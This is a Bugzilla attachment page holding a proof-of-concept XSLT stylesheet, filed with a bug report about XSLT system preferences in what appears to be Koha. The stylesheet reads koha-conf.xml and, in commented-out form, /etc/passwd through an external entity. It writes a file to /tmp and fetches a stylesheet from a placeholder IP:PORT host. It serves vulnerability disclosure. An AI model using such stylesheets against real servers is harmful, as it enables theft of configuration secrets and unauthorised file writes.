Bugzilla – Attachment 91437 Details for
Bug 23290
XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Help
|
New Account
|
Log In
[x]
|
Forgot Password
Login:
[x]
XSLT to exploit vulnerabilities
exploit.xsl (text/xml), 1.19 KB, created by
David Cook
on 2019-07-10 05:42:22 UTC
(
hide
)
Description:
XSLT to exploit vulnerabilities
Filename:
MIME Type:
Creator:
David Cook
Created:
2019-07-10 05:42:22 UTC
Size:
1.19 KB
patch
obsolete
><?xml version="1.0" encoding="utf-8"?> ><!-- ><!DOCTYPE dtd_sample [ <!ENTITY ext_file SYSTEM "/etc/passwd"> ]> >--> > ><xsl:stylesheet > xmlns:xsl="http://www.w3.org/1999/XSL/Transform" > xmlns:marc="http://www.loc.gov/MARC21/slim" > xmlns:exsl="http://exslt.org/common" > extension-element-prefixes="exsl" > version="1.0"> ><!-- > <xsl:variable name="system_file"> > &ext_file; > </xsl:variable> >--> > > <xsl:output method="html" indent="yes" omit-xml-declaration="yes" encoding="UTF-8"/> > > <xsl:template match="/"> > <p><xsl:text>Read from local file system</xsl:text></p> ><!-- > <div><xsl:value-of select="$system_file" /></div> >--> > > <textarea><xsl:copy-of select="document('file:///path/to/koha-conf.xml')" /></textarea> > > > <p><xsl:text>Read from network</xsl:text></p> ><!-- <textarea><xsl:copy-of select="document('http://IP:PORT/exploit.xsl')" /></textarea> --> > > <!-- xsl:document ? --> > <p><xsl:text>Write to local file system</xsl:text></p> > <exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text"> > <xsl:text>Breached!</xsl:text> > </exsl:document> > > <p><xsl:text>Write to network network</xsl:text></p> > </xsl:template> > ></xsl:stylesheet>
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Raw
Actions:
View
Attachments on
bug 23290
:
91435
|
91437
|
95450
|
95451
|
95452
|
95453
|
95454
|
95475
|
95478
|
95480
|
95481
|
95482
|
95483
|
95484
|
95485
|
95551
|
96299
|
96300
|
96301
|
96302
|
96303
|
96304
|
97606
|
97607
|
97608
|
97609
|
97610
|
97611
|
97612
|
97613
|
97614
|
97615
|
97616
|
97617
|
97618
|
97619
|
97620
|
97871
|
97978
|
97980
|
98397
|
98398
|
98399
|
98400
|
98401
|
98402
|
98403
|
98404
|
98405
|
98406
|
99587